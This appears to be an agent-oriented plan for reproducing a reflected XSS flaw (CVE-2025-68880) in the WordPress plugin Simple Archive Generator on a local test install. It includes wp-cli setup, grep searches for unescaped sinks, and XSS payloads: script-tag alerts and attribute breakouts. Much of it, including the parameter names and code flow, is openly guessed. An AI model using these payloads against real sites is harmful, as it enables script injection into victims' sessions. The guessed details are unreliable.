Exploitation Research Plan: CVE-2025-68880 (Simple Archive Generator)

1. Vulnerability Summary

The Simple Archive Generator plugin (versions <= 5.2) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists because the plugin accepts user-controlled input via HTTP parameters and reflects that input back into the HTML response without proper sanitization (using functions like sanitize_text_field) or context-aware output escaping (using functions like esc_html or esc_attr). This allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a user's browser session.

2. Attack Vector Analysis

• Endpoint: Any frontend page or post where the Simple Archive Generator shortcode is active, or a specific plugin-generated archive page.
• Vulnerable Parameter: Likely a GET parameter used for filtering or pagination, such as sag_page, category, monthnum, or a search/filter parameter (inferred).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. The attacker needs to trick a victim (e.g., an administrator) into clicking a crafted link.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers a shortcode (likely [simple-archive-generator]) or a template redirect hook to handle archive display.
2. Input Processing: Inside the shortcode callback or the archive rendering function, the plugin accesses global variables like $_GET['parameter_name'].
3. Lack of Sanitization: The code fails to sanitize this input.
4. Reflection (The Sink): The input is echoed directly into the page content or into an HTML attribute (e.g., value="..." or href="...") to maintain the state of filters or pagination links.
   • Example Vulnerable Pattern: echo '<a href="?paged=' . $_GET['paged'] . '">Next</a>';
5. Execution: The browser renders the malicious script tag or attribute breakout provided in the parameter.

4. Nonce Acquisition Strategy

Reflected XSS via GET parameters typically does not require a nonce, as nonces in WordPress are primarily used for CSRF protection on state-changing actions (POST requests).

However, if the reflection occurs within a script context where the plugin enqueues localized data, the following strategy should be used to check for related vulnerabilities:

1. Identify Shortcode: Search the plugin code for add_shortcode.
   • grep -r "add_shortcode" /var/www/html/wp-content/plugins/simple-archive-generator/
2. Create Test Page:
   • wp post create --post_type=page --post_status=publish --post_title="Archive Test" --post_content='[simple-archive-generator]' (Note: exact shortcode name to be verified by grep).
3. Extract Localized Variables:
   • Use browser_navigate to the created page.
   • Check for localized scripts: browser_eval("window.sag_vars") or similar (inferred).

5. Exploitation Strategy

Step 1: Identify the Reflection Point

The agent should first identify which parameter is reflected. Common candidates for an archive plugin:

• paged
• sag_order
• cat
• month

Step 2: Test for Reflection with a Canary

Perform an HTTP GET request to a page containing the shortcode with a unique string.

• Request: GET /archive-test-page/?sag_test=HTB_CANARY
• Tool: http_request
• Check: Verify if HTB_CANARY appears unescaped in the response body.

Step 3: Craft the XSS Payload

Once the reflected parameter is found, use a breakout payload.

• If reflected in a text node: <script>alert(document.domain)</script>
• If reflected in an attribute (e.g., value): "onmouseover="alert(1)

Step 4: Final Payload Execution

• URL: http://localhost:8080/archive-test-page/?VULN_PARAM=%3Cscript%3Ealert(document.domain)%3C/script%3E
• HTTP Method: GET
• Expected Header: Content-Type: text/html

6. Test Data Setup

1. Install Plugin: Ensure Simple Archive Generator <= 5.2 is installed and active.
2. Create Content: Create a few posts to ensure the archive generator has data to display.
   • wp post generate --count=5
3. Place Shortcode:
   • wp post create --post_type=page --post_status=publish --post_title="Archive" --post_content='[simple-archive-generator]'
   • Note: The agent must verify the actual shortcode string in the source code first.

7. Expected Results

• The HTTP response body must contain the literal, unescaped payload: <script>alert(document.domain)</script>.
• If using a browser-based PoC, a popup or log indicating the script executed in the localhost:8080 context should appear.

8. Verification Steps

1. Search for Sinks: Use grep to find unescaped echos of GET parameters in the plugin directory:
   • grep -rP "echo.*\\\$_GET" /var/www/html/wp-content/plugins/simple-archive-generator/ | grep -v "esc_"
2. Manual Confirmation: Run a curl command (from the agent's environment, pointing to the host) and pipe to grep to show the raw reflection:
   • http_request "http://localhost:8080/archive/?param=<script>"
   • Check response for: ...Results for <script>... (example).

9. Alternative Approaches

If no simple GET reflection is found on the frontend:

1. Search for Admin-Side Reflected XSS: Check if the plugin has an admin settings page that reflects parameters (e.g., ?page=simple-archive-generator&message=<script>).
   • grep -r "add_menu_page" /var/www/html/wp-content/plugins/simple-archive-generator/
2. AJAX Reflection: Check if wp_ajax_nopriv handlers reflect any input.
   • grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/simple-archive-generator/
3. Attribute Breakout: If the input is reflected inside an HTML tag attribute, try:
   • ?param=x" onfocus="alert(1)" autofocus="
   • ?param=javascript:alert(1)// (if reflected in an href).